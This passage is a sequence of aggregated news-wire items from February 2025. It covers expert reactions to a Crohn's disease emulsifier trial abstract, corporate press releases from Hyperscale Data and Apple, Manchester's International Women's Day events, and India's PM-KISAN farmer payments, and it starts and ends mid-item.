    ZRCN Inc., through its wholly-owned subsidiary Zircon Corporation, is a global manufacturer and seller of digitally-enabled hand-tools, including stud-sensors, A/C detectors, fluid detection alert sensors, and other innovative digital and electronic tools. Leveraging over 200 individual patents based on sensor and semiconductor-based technologies, Zircon has been a leader in its field for nearly 50 years. In 2025, the company will proudly celebrate its 50th anniversary, marking a legacy of industry innovation and a commitment to quality for customers worldwide.

    To learn more about ZRCN, Inc., visit https://investors.zrcn.com/.

    About OTC Markets Group Inc.
    OTC Markets Group Inc. (OTCQX: OTCM) operates regulated markets for trading 12,000 U.S. and international securities. Our data-driven disclosure standards form the foundation of our three public markets: OTCQX® Best Market, OTCQB® Venture Market and Pink® Open Market.
    Our OTC Link® Alternative Trading Systems (ATSs) provide critical market infrastructure that broker-dealers rely on to facilitate trading. Our innovative model offers companies more efficient access to the U.S. financial markets.

    OTC Link ATS, OTC Link ECN and OTC Link NQB are each an SEC regulated ATS, operated by OTC Link LLC, a FINRA and SEC registered broker-dealer, member SIPC.

    To learn more about how we create better informed and more efficient markets, visit www.otcmarkets.com.

    Subscribe to the OTC Markets RSS Feed

    Media Contact:
    OTC Markets Group Inc., +1 (212) 896-4428, media@otcmarkets.com

    ZRCN Corporation, +1 (800) 245-9265, media@zircon.com

    The MIL Network –

    February 25, 2025
  • MIL-OSI United Kingdom: expert reaction to conference abstract looking at restricting dietary emulsifiers in people with Crohn’s disease

    Source: United Kingdom – Executive Government & Departments

    February 21, 2025

    A conference abstract presented at the European Crohn’s and Colitis Organisation (ECCO) Conference looks at emulsifier restriction in people with Crohn’s disease. 

    Dr Dominic Farsi, Postdoctoral Researcher in Nutrition Science, INRAE (l’Institut national de recherche pour l’agriculture, l’alimentation et l’environnement), France, said:

    Does the press release accurately reflect the science?

    “Yes.

    Is there enough data and information available to be able to assess the quality of the science?

    “Yes I believe there is enough information.  In addition, ECCO is one of the prominent organisations in gastroenterology and this abstract will have been reviewed by the conference committee (though that is different from journal peer review) and also the fact that it is being presented at the meeting would suggest that it is of a high standard as it has been accepted and chosen for the meeting.

    How does this work fit with the existing evidence? + What are the implications in the real world?  Is there any overspeculation?

    “A lot of the evidence to date surrounding emulsifiers and Crohn’s comes from rodent models, which while informative, will always have limitations, as, it is rodents, not humans.  This evidence does suggest that food additive emulsifiers may negatively impact the gastrointestinal environment, including the gut microbiota.  The evidence in humans is very limited and so this study could be viewed as foundational to help understand the potential impact of food additive emulsifiers in Crohn’s.  This study is a first of its kind and to date, we have not had significant data such as this, the results are positive and exciting, and as more research is performed in this topic, it will help further develop our understanding.  If future research confirms that making a dietary change such as removing emulsifiers from the diet can help people manage Crohn’s, then that would be viewed as very positive – but we need more evidence first.”

    Prof Kim Barrett, Vice Dean for Research and Distinguished Professor of Physiology and Membrane Biology, UC Davis School of Medicine, said:

    “This preliminary presentation reports that removing emulsifiers from the diet may be helpful in patients with Crohn’s disease.  It’s difficult to be fully confident in the conclusions since details of the study are not yet available, and more subjects dropped out of the control group vs. the treatment arm.  Nevertheless, the findings available are consistent with predictions from previous animal studies, and could offer a simple and inexpensive way to reduce symptoms in patients with limited treatment options.”

    Prof Gary Frost, Chair in Nutrition and Dietetics, Imperial College London, said:

    “I think that the study is well designed, it is clear how they have decreased exposure to emulsifiers to all in the trial then reintroduced them in a portfolio of food in the control group giving the low emulsifier diet (LED) group foods that had a low emulsifier content.

    “The intention to treat results look clear as reported in the abstract but the protocol results suggests that about 60% of the control group did not finish the study there for the results are not so clear.  There needs to be more understanding about the reasons for the stark difference in not completing the trial.  (The results are expressed in two ways.  The intention to treat results include all the volunteers in the study even if they dropped out.  Although the authors do not say how they used the data usually the last recorded measure is taken as the final results.  This means if someone dropped out at 4 weeks the results at 4 weeks will be taken as the last results and analysed with others that have completed at 8 weeks.  It is this analysis that shows a significant difference.  The per protocol analysis only analyses people who completed the trial.  The problem they have is only 49 of the 75 controls completed the study.  There is no explanation for this level of patients not completing.)”

    Prof Alexandra Johnstone, Theme Lead for Nutrition, Obesity and Disease, Rowett Institute, University of Aberdeen, said:

    “There is currently a lot of interest in the role for ultra processed foods and health, and this study embraces this trend, to examine the role of emulsifiers, which are food additives, within a specific UK patient group.  Regulatory bodies ensure that food additives are rigorously tested for safety and additives continue to undergo long‐term monitoring for their effects on chronic health conditions.  Food additives that pass these safety tests are given an ‘E’ number which must be listed on packaging.  Whilst consumption of some food additives (e.g. artificial sweeteners) can be limited through food choice, it is much more difficult to avoid ingestion of emulsifiers (also known as surfactants or detergents) because they are commonly added to a wide variety of foods within the modern Western diets.  Some emulsifiers are man-made or synthetic (e.g. polysorbates) and some occur naturally (e.g. lecithin).  In this study, the emulsifiers that were provided, were carrageenan, carboxymethylcellulose and polysorbate-80 (control).  For example, carboxymethylcellulose is a non‐digestible polysaccharide polymer, hence its common use as a thickening agent and stabilizer in food emulsions.

    “Emerging evidence1,2,3 suggests that permitted dietary emulsifiers may impact on gut health through impairing intestinal barrier function, thus increasing antigen exposure, and/or by modulating the microbiota, thus potentially increasing the incidence of inflammatory bowel disease (IBD) – Crohn’s disease is a form of IBD.

    “The study to be presented at European Crohn’s and Colitis Organisation (ECCO) Conference in Berlin provides hope for patients with Crohn’s disease to manage symptoms.  The press release accurately reflects the brief data shared in the abstract, and I would welcome seeing the full dataset as a paper, once peer reviewed.  The limitations of the study are that this is a relatively small group of patients (N=154) and conducted over a short time-frame (8 weeks).  Patients with active flare in their disease were recruited, which was measured as inflammatory response, and the study abstract results indicate that the low emulsifier diet reduced inflammatory symptoms and promoted remission.  It was good to read the quote from the patient in the press release about the positive impact this had on quality of life.  Going forward, a peer-reviewed publication will likely reveal a more comprehensive analysis and discussion from the study team, including exploring the putative mechanism(s) of action.  For example, recognising the small subject numbers and limitations of the results that would need to be explored in a larger cohort of patients.  The study does offers hope for patients for future research on management of symptoms through dietary changes.”

    1 Partridge D, Lloyd KA, Rhodes JM, Walker AW, Johnstone AM, Campbell BJ. Food additives: Assessing the impact of exposure to permitted emulsifiers on bowel and metabolic health – introducing the FADiets study. Nutr Bull. 2019 Dec;44(4):329-349. doi: 10.1111/nbu.12408.

    2 Naimi, S., Viennois, E., Gewirtz, A.T. et al. Direct impact of commonly used dietary emulsifiers on human gut microbiota. Microbiome 9, 66 (2021). https://doi.org/10.1186/s40168-020-00996-6

    3 Chassaing B, Koren O, Goodrich JK, Poole AC, Srinivasan S, Ley RE, Gewirtz AT. Dietary emulsifiers impact the mouse gut microbiota promoting colitis and metabolic syndrome. Nature. 2015 Mar 5;519(7541):92-6. doi: 10.1038/nature14232. Epub 2015 Feb 25. Erratum in: Nature. 2016 Aug 11;536(7615):238. doi: 10.1038/nature18000.

    Dr Elizabeth Lund, Independent Nutrition Consultant, previously Research Leader at Quadram Institute of Biological Sciences, Norwich, said:

    “This study looking at the potential benefit of diets low in emulsifiers shows a potential benefit for patients with mild to moderate Crohn’s disease.  It is only an abstract for a meeting and thus lacks detail and has not yet been peer reviewed.  This is important for journalists to recognise.  The nearly 20% drop out rate, that is the difference between those recruited and those completing the study, is on the high side but not atypical.  I would want to better understand why these people dropped out.  Nevertheless, the data looks very promising and – emphasising this data is yet to be peer reviewed – would suggest that this diet is well worth a try for Crohn’s patients, probably helping many if not all who suffer from this condition.  It is unlikely this is the only trigger for Crohn’s; inflammatory conditions tend to be very individual.”

    Dr Baptiste Leurent, Associate Professor in Medical Statistics, UCL, said:

    “This research is only published as a short summary, and it is difficult to assess its quality.  The results could be interesting, but their validity can only be assessed (and communicated to the public) once the full study will be published.

    “I am particularly concerned by the data presented in Table 1, which suggest that the differences found could be related to assumptions made regarding missing data.

    “The abstract does not state clearly how many participants had Crohn’s disease activity index (CDAI) data at 8 weeks, but the numbers reported suggest there may have been participants with missing CDAI response, particularly in the control group.  And that all of them may have been counted as “no CDAI response” in the primary (intention-to-treat) analysis.

    “Given there was much more missing data in the control group, this would explain (at least some of) the lower CDAI response seen in the intervention group.  When looking at the `per-protocol’ analysis (participants with actual CDAI data) none of the results were statistically different between the two groups.

    “Much other information is missing from the abstract to assess the study validity.  For example, it is not clear if the participants were aware of the emulsifier content of the food they were receiving, how similar were the two types of food received (apart from the emulsifier content), and to which extent participants ate the food they received.  Note that what is being evaluated here is receiving regular emulsifier-free food, compared to receiving regular high emulsifier content food.  It is not what is defined as LED (“low emulsifier diet”) in the abstract, which consisted of dietary advice and other material (both groups received this).  No protocol or analysis plan were published – it would be important to know if the outcomes reported here are all the outcomes that were originally planned to be looked at or if there were others.

    “Further information is needed before these results can be communicated to the public, and I would be very concerned if any diet recommendation is made based on this abstract.”

    Rachel Richardson, Methods Support Unit Manager, Evidence Production and Methods Directorate, Cochrane, said:

    “It is difficult to properly assess this study as all we have is an abstract.  This means that the full report of the study is not available for scrutiny.  It would be helpful to have more detail in order to assess the validity and generalisability of these results.

    “A few examples: the number of people who dropped out was high – only 73% completed the study, even though it only lasted for 8 weeks and the drop-out rate was higher in the control group than in the intervention group.  High rates of dropout can lead to bias in a study’s results, so it would be helpful to know more about why people dropped out.

    “Another example is the fact that the authors adjusted the results for a variety of possible confounding factors, including BMI.  However this was a randomised trial which means that confounders should be evenly distributed between groups and no adjustments are necessary.  It would be useful to know why authors needed to do this.

    “A final striking point is that we do not know from the abstract whether the results were precise enough to demonstrate meaningful improvement across all possible scenarios.  The confidence intervals, or margins of error, were quite wide for a number of the effect estimates.  Whilst improvement could be significant, there is also the possibility that the effect could be small, which may mean no clinical difference.”

    Prof Kevin McConway, Emeritus Professor of Applied Statistics, Open University, said:

    “These findings are interesting.  However, they are based on a conference abstract.  The full research report will not (yet) have been through the full peer review process, that it will need to go through before it can be published in a scientific journal.  Peer reviewers might (or might not) pick up important problems in the complete trial report.  Also, we don’t have by any means complete information, only a press release and a rather brief abstract (summary) of the findings.  So, while on the face of it the results look encouraging, it’s just not possible to evaluate the quality of the research properly on the basis of the information available.

    “Overall, statistically, the results don’t seem to me to be nearly as clear-cut as the press release implies.  I’ll explain why I think this below.  It all rather depends on the reasons for the different rates of completing the full trial for the trial in the two groups (those who were on the diet without emulsifiers, and the control group who had emulsifiers).  The small amount of information we have doesn’t allow me to make a judgement on that.  Maybe the trial does show everything that the press release says it shows, but it remains possible that it doesn’t, not entirely anyway.  We need to know more.

    “One issue is as follows.  As is usual in reports of randomised clinical trials, the researchers present two different sets of comparisons between the ‘intervention’ group (who had a diet without emulsifiers) and the ‘control’ group (who were given some emulsifiers).  One is the so-called ‘intention to treat’ comparison, which compared the results for everyone for whom results are available, regardless of whether they stayed on the diet that they were allocated to for the duration of the trial.  The other is the so-called ‘per-protocol’ analysis, that compares the results of only those patients who continued on the diet they were allocated to, for the full duration of the trial.  Usually the results of the intention to treat analysis are considered to be more revealing.  However, it’s important to consider the per-protocol results as well, particularly if a lot of people didn’t remain on the allocated treatment for the full period.  In this trial, about four out of five (81%) of those allocated to the emulsifier-free diet were on that diet throughout, and so contributed to the per-protocol analysis.  But a considerably smaller proportion, only about two out of three (65%), of those allocated to the control diet remained on it throughout.  The information we have doesn’t give an explanation for the differences in completion rates, and it might well matter.  Maybe people on the control diet were more likely to drop out because they felt it wasn’t helping them, or maybe they were eating more emulsifiers than usual and felt this was disagreeing with their digestion or health, or maybe something else – we don’t know.

    “The results repeated in the press release are based on the intention to treat analysis.  But the results from the per-protocol analysis are less clear-cut, and indeed, apart from the finding about the proportion who said their symptoms improved, the other three outcomes given in the table in the Abstract don’t have large enough differences between the no-emulsifier and the control group to allow a conclusion that differences are definitely due to anything other than random chance.  (This doesn’t mean that they are due to no more than chance, just that it’s still feasible that they could be no more than chance.)

    “Another issue is that the trial is not comparing what patients with Crohn’s disease do on a diet without emulsifiers, compared to what they would otherwise have eaten.  The control group of patients ate a diet containing emulsifiers, together with some snacks provided by the researchers, that also contained emulsifiers.  The patients in the intervention (no emulsifiers) group also were given snacks and some food provided by the researchers, but without emulsifiers.  I am no dietician, but I do know some people with Crohn’s disease, and they all avoid various types of food.  So the comparison in the trial seems to be between people definitely eating a special diet with no emulsifiers, with another group who are eating a different special diet that does contain emulsifiers.  This makes sense, to ensure, as far as practicable, that all the patients in each of the two groups are eating more or less the same things as the others in their group, but it does imply that the researchers are not comparing people on a special diet free of emulsifiers, with those eating what they would typically eat anyway.  You’d have to ask a dietician rather than a statistician to be sure of how important this is in the context of real-world diets.”

    Abstract title: ‘Emulsifier restriction is an effective therapy for active Crohn’s disease: the ADDapt trial – a multi-centre, randomised, double-blind, placebo-controlled, re-supplementation trial in 154 patients’ by A. Bancil et al was presented at the European Crohn’s and Colitis Organisation (ECCO) Conference in Berlin. The embargo lifted at 17:20 UK time on Friday 21 February 2025.

    There is no paper.

    Declared interests

    Dr Dominic Farsi: “During part of this study, I was within the department and involved in other diet trials, however not this one (the ADDapt trial).  I have since left this role and I am now a Postdoctoral Researcher at INRAE in France.  I have no other conflicts of interest.”

    Prof Kim Barrett: “I have no conflicts of interest.”

    Prof Gary Frost: “None.”

    Prof Alexandra Johnstone: “AJ holds funding from UKRI which involves UK retail partners, the Scottish Government.  She currently holds voluntary committee position with Nutrition Society, Association for Nutrition and British Nutrition Foundation.”

    Dr Elizabeth Lund: “No conflicts of interest to declare.”

    Dr Baptiste Leurent: “No conflict of interest.”

    Rachel Richardson: “I have no interests to declare.”

    Prof Kevin McConway: “Previously a Trustee of the SMC and a member of its Advisory Committee.”

    MIL OSI United Kingdom –

    February 25, 2025
  • MIL-OSI: Hyperscale Data Engages Northland Capital Markets to Explore Strategic Options for Michigan Data Center

    Source: GlobeNewswire (MIL-OSI)

    LAS VEGAS, Feb. 24, 2025 (GLOBE NEWSWIRE) — Hyperscale Data, Inc. (NYSE American: GPUS), a diversified holding company (“Hyperscale Data” or the “Company”), today announced that it has engaged Northland Capital Markets (“Northland”) to assist in evaluating strategic alternatives for its Michigan Data Center (“Michigan Facility”). This engagement underscores the Company’s commitment to unlocking value for stockholders as it explores various pathways, including raising debt or equity for expansion, or forming joint ventures.

    Northland brings extensive expertise in the data center sector, having successfully advised on over $6 billion of high-performance computing data center related transactions within the last 12 months, with particular emphasis on assisting bitcoin mining focused clients in their transition to high-performance computing related data centers. Stockholders are encouraged to review Northland’s corporate website which displays their recently completed transactions.

    William B. Horne, CEO of Hyperscale Data, commented, “We are excited to partner with Northland, a highly respected investment bank with deep industry expertise. We are confident in its ability to help us evaluate and execute the best path forward for our Michigan Facility, which sits on 34.5 acres and currently has approximately 30 megawatts of available power and has reached an agreement in principle with the local utility enabling Alliance Cloud Services, LLC, an indirectly wholly owned subsidiary of the Company, to increase its power capacity to approximately 300 megawatts. As we continue our transition into a pure-play data center business, we are considering all strategic options to maximize stockholder value—whether through development, monetization, or strategic partnerships. We look forward to exploring multiple opportunities that align with our long-term growth strategy.”

    Hyperscale Data will provide further updates as the process advances.

    The completion of the power upgrade is subject to a number of risks and uncertainties, one or more which could result in the project being terminated, including, but not limited to: failure to agree upon terms and execute a definitive agreement; the inability of the Company to raise sufficient funds to pay for the power upgrades; failure to obtain regulatory consents and approvals; the inability to obtain sufficient easements, rights-of-way and land rights necessary to the work to be performed, and other presently unforeseen events or conditions.

    This press release does not constitute an offer to sell or the solicitation of an offer to buy the securities, nor will there be any sale of the securities in any jurisdiction in which such offer, solicitation or sale would be unlawful prior to the registration or qualification under the securities laws of such jurisdiction.

    For more information on Hyperscale Data and its subsidiaries, Hyperscale Data recommends that stockholders, investors and any other interested parties read Hyperscale Data’s public filings and press releases available under the Investor Relations section at hyperscaledata.com or available at www.sec.gov.

    About Hyperscale Data, Inc.

    Hyperscale Data is transitioning from a diversified holding company pursuing growth by acquiring undervalued businesses and disruptive technologies with a global impact to becoming solely an owner and operator of data centers to support high-performance computing services. Through its wholly and majority-owned subsidiaries and strategic investments, Hyperscale Data owns and operates a data center at which it mines digital assets and offers colocation and hosting services for the emerging artificial intelligence ecosystems and other industries. It also provides, through its wholly owned subsidiary, Ault Capital Group, Inc., mission-critical products that support a diverse range of industries, including an artificial intelligence software platform, social gaming platform, equipment rental services, defense/aerospace, industrial, automotive, medical/biopharma and hotel operations. In addition, Hyperscale Data is actively engaged in private credit and structured finance through a licensed lending subsidiary. Hyperscale Data’s headquarters are located at 11411 Southern Highlands Parkway, Suite 240, Las Vegas, NV 89141.

    Forward-Looking Statements

    This press release contains “forward-looking statements” within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended. These forward-looking statements generally include statements that are predictive in nature and depend upon or refer to future events or conditions, and include words such as “believes,” “plans,” “anticipates,” “projects,” “estimates,” “expects,” “intends,” “strategy,” “future,” “opportunity,” “may,” “will,” “should,” “could,” “potential,” or similar expressions. Statements that are not historical facts are forward-looking statements. Forward-looking statements are based on current beliefs and assumptions that are subject to risks and uncertainties.

    Forward-looking statements speak only as of the date they are made, and the Company undertakes no obligation to update any of them publicly in light of new information or future events. Actual results could differ materially from those contained in any forward-looking statement as a result of various factors. More information, including potential risk factors, that could affect the Company’s business and financial results are included in the Company’s filings with the U.S. Securities and Exchange Commission, including, but not limited to, the Company’s Forms 10-K, 10-Q and 8-K. All filings are available at www.sec.gov and on the Company’s website at www.hyperscaledata.com.

    Hyperscale Data Investor Contact:
    IR@hyperscaledata.com or 1-888-753-2235

    The MIL Network –

    February 25, 2025
  • MIL-OSI Economics: Apple will spend more than $500 billion in the U.S. over the next four years

    Source: Apple

    Headline: Apple will spend more than $500 billion in the U.S. over the next four years

    February 24, 2025

    PRESS RELEASE

    Apple will spend more than $500 billion in the U.S. over the next four years

    Teams and facilities to expand in Michigan, Texas, California, Arizona, Nevada, Iowa, Oregon, North Carolina, and Washington

    Plans include a new factory in Texas, doubling the U.S. Advanced Manufacturing Fund, a manufacturing academy, and accelerated investments in AI and silicon engineering

    CUPERTINO, CALIFORNIA Apple today announced its largest-ever spend commitment, with plans to spend and invest more than $500 billion in the U.S. over the next four years. This new pledge builds on Apple’s long history of investing in American innovation and advanced high-skilled manufacturing, and will support a wide range of initiatives that focus on artificial intelligence, silicon engineering, and skills development for students and workers across the country.

    “We are bullish on the future of American innovation, and we’re proud to build on our long-standing U.S. investments with this $500 billion commitment to our country’s future,” said Tim Cook, Apple’s CEO. “From doubling our Advanced Manufacturing Fund, to building advanced technology in Texas, we’re thrilled to expand our support for American manufacturing. And we’ll keep working with people and companies across this country to help write an extraordinary new chapter in the history of American innovation.”

    As part of this package of U.S. investments, Apple and partners will open a new advanced manufacturing facility in Houston to produce servers that support Apple Intelligence, the personal intelligence system that helps users write, express themselves, and get things done. Apple will also double its U.S. Advanced Manufacturing Fund, create an academy in Michigan to train the next generation of U.S. manufacturers, and grow its research and development investments in the U.S. to support cutting-edge fields like silicon engineering.

    The $500 billion commitment includes Apple’s work with thousands of suppliers across all 50 states, direct employment, Apple Intelligence infrastructure and data centers, corporate facilities, and Apple TV+ productions in 20 states. Apple remains one of the largest U.S. taxpayers, having paid more than $75 billion in U.S. taxes over the past five years, including $19 billion in 2024 alone.

    Today, Apple supports more than 2.9 million jobs across the country through direct employment, work with U.S.-based suppliers and manufacturers, and developer jobs in the thriving iOS app economy.

    Opening a New Manufacturing Facility in Houston

    As part of its new U.S. investments, Apple will work with manufacturing partners to begin production of servers in Houston later this year. A 250,000-square-foot server manufacturing facility, slated to open in 2026, will create thousands of jobs.

    Previously manufactured outside the U.S., the servers that will soon be assembled in Houston play a key role in powering Apple Intelligence, and are the foundation of Private Cloud Compute, which combines powerful AI processing with the most advanced security architecture ever deployed at scale for AI cloud computing. The servers bring together years of R&D by Apple engineers, and deliver the industry-leading security and performance of Apple silicon to the data center.

    Teams at Apple designed the servers to be incredibly energy efficient, reducing the energy demands of Apple data centers — which already run on 100 percent renewable energy. As Apple brings Apple Intelligence to customers across the U.S., it also plans to continue expanding data center capacity in North Carolina, Iowa, Oregon, Arizona, and Nevada.

    Doubling Apple’s U.S. Advanced Manufacturing Fund

    As part of this new investment, Apple is doubling its U.S. Advanced Manufacturing Fund, which was created in 2017 to support world-class innovation and high-skilled manufacturing jobs across America. The growing commitment will increase the fund from $5 billion to $10 billion, focused on promoting advanced manufacturing and skills development throughout the country.

    The fund’s expansion includes a multibillion-dollar commitment from Apple to produce advanced silicon in TSMC’s Fab 21 facility in Arizona. Apple is the largest customer at this state-of-the-art facility, which employs more than 2,000 workers to manufacture the chips in the United States. Mass production of Apple chips began last month.

    Silicon used by Apple is designed to bring Apple users incredible features, performance, and power efficiency across their devices. Apple’s suppliers already manufacture silicon in 24 factories across 12 states, including Arizona, Colorado, Oregon, and Utah. The company’s investments in the sector help create thousands of high-paying jobs across the country at U.S. companies like Broadcom, Texas Instruments, Skyworks, and Qorvo.

    To date, Apple’s U.S. Advanced Manufacturing Fund has supported projects in 13 states — including Kentucky, Pennsylvania, Texas, and Indiana — that have helped build local businesses, train workers, and create a wide range of innovative manufacturing processes and materials for Apple products.

    Growing R&D Investments Across the U.S.

    Apple continues to expand its R&D across the U.S. In the past five years, Apple has nearly doubled its U.S.-based advanced R&D spend, and it will continue to accelerate its growth.

    Recently, Apple announced the newest addition to its iPhone lineup, iPhone 16e. iPhone 16e delivers fast, smooth performance and breakthrough battery life, thanks to the industry-leading efficiency of the A18 chip and the new Apple C1 — the first cellular modem designed by Apple, and the most power-efficient modem ever on an iPhone. Apple C1 adds a new chapter to the story of Apple silicon and is the result of years of R&D investment, bringing together the work of thousands of engineers. Apple C1 is the start of a long-term strategy that will allow Apple to innovate and optimize the modem system for additional Apple products.

    In the next four years, Apple plans to hire around 20,000 people, of which the vast majority will be focused on R&D, silicon engineering, software development, and AI and machine learning. The expanded commitment includes significant investment in Apple’s R&D hubs across the country. This includes growing teams across the U.S. focused on areas including custom silicon, hardware engineering, software development, artificial intelligence, and machine learning.

    Supporting American Businesses with a New Manufacturing Academy in Detroit

    To help companies transition to advanced manufacturing, Apple will open the Apple Manufacturing Academy in Detroit. Apple engineers, along with experts from top universities such as Michigan State, will consult with small- and medium-sized businesses on implementing AI and smart manufacturing techniques. The academy will also offer free in-person and online courses, with a skills development curriculum that teaches workers vital skills like project management and manufacturing process optimization. The courses will help drive productivity, efficiency, and quality in companies’ supply chains.

    Apple has long been committed to investing in education and skills development for American workers and students. That includes ongoing and expanding grant programs for organizations like 4-H, Boys & Girls Clubs of America, and FIRST, which work closely with Apple in communities across the country to create free programming that helps young people learn vital skills like coding.

    Apple’s support for the next generation of innovators also includes efforts like the company’s New Silicon Initiative, which prepares students for careers in hardware engineering and silicon chip design. Last year, this program expanded to students at Georgia Tech, and it now reaches students at eight schools across the country. Apple is continuing to expand the initiative, including a new collaboration with UCLA’s Center for Education of Microchip Designers (CEMiD) beginning this year.

    About Apple Apple revolutionized personal technology with the introduction of the Macintosh in 1984. Today, Apple leads the world in innovation with iPhone, iPad, Mac, AirPods, Apple Watch, and Apple Vision Pro. Apple’s six software platforms — iOS, iPadOS, macOS, watchOS, visionOS, and tvOS — provide seamless experiences across all Apple devices and empower people with breakthrough services including the App Store, Apple Music, Apple Pay, iCloud, and Apple TV+. Apple’s more than 150,000 employees are dedicated to making the best products on earth and to leaving the world better than we found it.

    Press Contacts

    Nick Leahy

    Apple

    nleahy@apple.com

    Anna Mitchell

    Apple

    anna_m@apple.com

    Apple Media Helpline

    media.help@apple.com

    MIL OSI Economics –

    February 25, 2025
  • MIL-OSI United Kingdom: Manchester gets ready to celebrate International Women’s Day 2025 

    Source: City of Manchester

    International Women’s Day (IWD) is returning to Manchester as a celebration of women’s empowerment, equality and contributions to the city at Manchester Central Library on Saturday 8 March.

    Led and inspired by an already significant history of pioneering women, IWD 2025 is a chance for women across all generations and dedicated allies to come together in advancing women’s rights in Manchester and around the world.  

    The theme for this year’s celebration is ‘Accelerate Action’, which calls on supporters of gender equality to act against systemic barriers women from all backgrounds face in their personal and professional environments.   

    In recent years, Manchester City Council has marked IWD with a dedicated ‘Walk for Women’ event. This year, however, the Council has joined forces with a diverse range of women-led community organisations to co-design a different approach.  

    Funding was made available for community organisations to host IWD events across the city through the annual IWD grants programme. A celebratory community-led programme of workshops, performances and discussions has also been planned for the day itself at Manchester Central Library based around the acronym HER: Heal Encourage, Revive. 

    The events for IWD 2025 are:  

    Heal – Performance Space  

    ·  Flourish Together; Mindfulness Activity for relaxation and meditation, 11am-1pm  

    ·  Equal Education Chances; letter writing and positive affirmations session, 11:20am-12:15pm  

    Encouraged – Performance Space 2 and 3  

    ·    Community Thriving Together; sharing personal stories and overcoming challenges, 11am-11:50am  

    ·   Trailblazers;  Creating bookmarks and stitching  

    ·   Young Identity with Shirley May; poetry performance by Young Identity members, 11:55am-12:15pm  

    ·   Flourish Together; a 30-minute fireside chat chaired by Nickala Torkington about women changemakers, 12:20pm-12:50pm.  

    Revived – Performance Space 2 and 3  

    ·     Bollyfit; an exercise class inspired by multicultural dance, 1pm-1:30pm  

    ·     Councillor Ermina Bell will give a closing speech about the event, 1:35pm-1:45pm  

    ·      DJ set to inspire and uplift 

    Glass Room/Sensory Space  

    ·     Flourish Together; Bookable pop-up spa for treatments for 20 mins including Indian Head Massage in a clothed and seated setting, 11am-2pm  

    The events on the day will be accompanied by partner stalls of specialist community organisations including Manchester Action on Street Health (MASH), Manchester Rape Crisis, Fikawele African and Caribbean Mental Health, Walksafe  and Ahmed Iqbal Ullah (AIU) RACE Centre who will be on hand to raise awareness and promote their services.  

    Councillor Erinma Bell, Lead Member for Women, said: “Manchester has long been a city that has championed and supported women in the fight for gender equality.   

    “It’s fantastic to see the range of creativity and innovation in the events this year for International Women’s Day with the aim of accelerating further action for women to thrive personally and professionally.   

    “I would encourage women from all backgrounds and generations to get involved, because there is something for everyone and to advocate for more allies join in on the celebrations and inform our priorities for advancing women’s equality this year.”  

    For more information or to book your place visit Women’s Community Festival. 

    MIL OSI United Kingdom –

    February 25, 2025
  • MIL-OSI Asia-Pac: PM-KISAN completes 19 successful installments

    Source: Government of India

    PM-KISAN completes 19 successful installments

    Prime Minister Shri Narendra Modi releases installment to 9.8 Crore Farmers amounting to more than ₹22,000 crore

    Posted On: 24 FEB 2025 3:33PM by PIB Delhi

    Introduction

    Prime Minister Shri Narendra Modi released the 19th instalment of the Pradhan Mantri Kisan Samman Nidhi (PM-KISAN) scheme on 24th February, 2025 in Bhagalpur, Bihar. During the event over 9.8 crore farmers including 2.41 crore female farmers across the country will be benefitted through the 19th instalment release, receiving direct financial assistance exceeding ₹22,000 crore through Direct Benefit Transfer (DBT) without involvement of any middlemen, reinforcing the Government’s commitment to farmer welfare and agricultural prosperity.[1] With this installment, the scheme will be supporting farmers nationwide and further reaffirming the government’s commitment to rural development and agricultural prosperity.

     

    https://pmkisan.gov.in/Creatives.aspx

    Previously, Prime Minister Shri Narendra Modi released the 18th instalment of the Pradhan Mantri Kisan Samman Nidhi (PM-KISAN) scheme on 5th October 2024 in Washim, Maharashtra. This significant event witnessed over 9.4 crore farmers across the country receiving direct financial benefits, amounting to more than ₹20,000 crore.[2]

    The PM-KISAN scheme is a central sector scheme launched in February 2019 by the Hon’ble Prime Minister to supplement the financial needs of land-holding farmers. Under the scheme, a financial benefit of Rs 6,000/- per year is transferred in three equal instalments, into the Aadhaar seeded bank accounts of farmers through Direct Benefit Transfer (DBT) mode.[3]

    A farmer-centric digital infrastructure has ensured the benefits of the scheme reach all the farmers across the country without involvement of any middlemen. Maintaining absolute transparency in registering and verifying beneficiaries, the Government of India has disbursed over Rs 3.46 lakh Cr. in 18 instalments since inception, as of February 2025.[4]

    Objectives

    With a view to augment the income of the Small and Marginal Farmers (SMFs), the PM-KISAN scheme aims to:

    • Supplement the financial needs of the SMFs in procuring various inputs to ensure proper crop health and appropriate yields, commensurate with the anticipated farm income at the end of each crop cycle.
    • This would also protect them from falling in the clutches of moneylenders for meeting such expenses and ensure their continuance in the farming activities.[5]

    Technological Advancements

    With an objective to make the scheme more efficient, effective, and transparent, continuous improvements in a farmer-centric digital infrastructure have been made to ensure the benefits of the scheme reach all the farmers across the country without any middleman involvement.

    The PM-KISAN mobile app was launched on 24th February 2020. This has been developed with an emphasis on greater transparency and to reach more farmers. The PM-KISAN mobile app servers a simple and efficient extension to the PM-KISAN web portal.[6] In 2023, the app was launched with an additional “Face Authentication Feature”. This enabled remote farmers to do e-KYC by scanning their face without OTP or fingerprint.[7]

    The portal and mobile app offer services like self-registration, benefit status tracking, and facial authentication-based e-KYC. Farmers in remote areas can complete e-KYC via face scans, with provisions to assist neighbours.

    Over 5 lakh Common Service Centres (CSCs) have been onboarded to facilitate registrations and meet mandatory requirements. Additionally, a robust grievance redressal system was established on the portal, and an AI chatbot, Kisan-eMitra, launched in September 2023, provides instant query resolution in local languages regarding payments, registration, and eligibility. Farmers can also assist 100 other farmers in their neighbourhood to complete e-KYC at their doorstep. In addition, the Government of India has also extended the facility for completing e-KYC of farmers to State Government officials, allowing each official to do e-KYC for 500 farmers.[8]

    PM-KISAN AI CHATBOT

    In 2023, an AI Chatbot was launched for the PM-KISAN scheme, becoming the first AI chatbot integrated with a major flagship scheme of the Union government. The AI Chatbot provides farmers with prompt, clear, and accurate responses to their queries. It has been developed and improved with the support of EKstep foundation and Bhashini. The introduction of the AI chatbot in the PM-KISAN grievance management system is aimed at empowering farmers with a user-friendly and accessible platform.

    https://www.instagram.com/pmkisanofficial/p/DAu8QCsiEoH/?hl=en

    The AI Chatbot, accessible through the PM KISAN mobile app, is integrated with Bhashini, which offers multilingual support, catering to the linguistic and regional diversity of the PM KISAN beneficiaries. ‘Digital India BHASHINI’ seeks to enable easy access to the internet and digital services in Indian languages, including voice-based access, and help the creation of content in Indian languages.[9] This integration of advanced technology will not only enhance transparency but will also empower farmers to make informed decisions.[10]

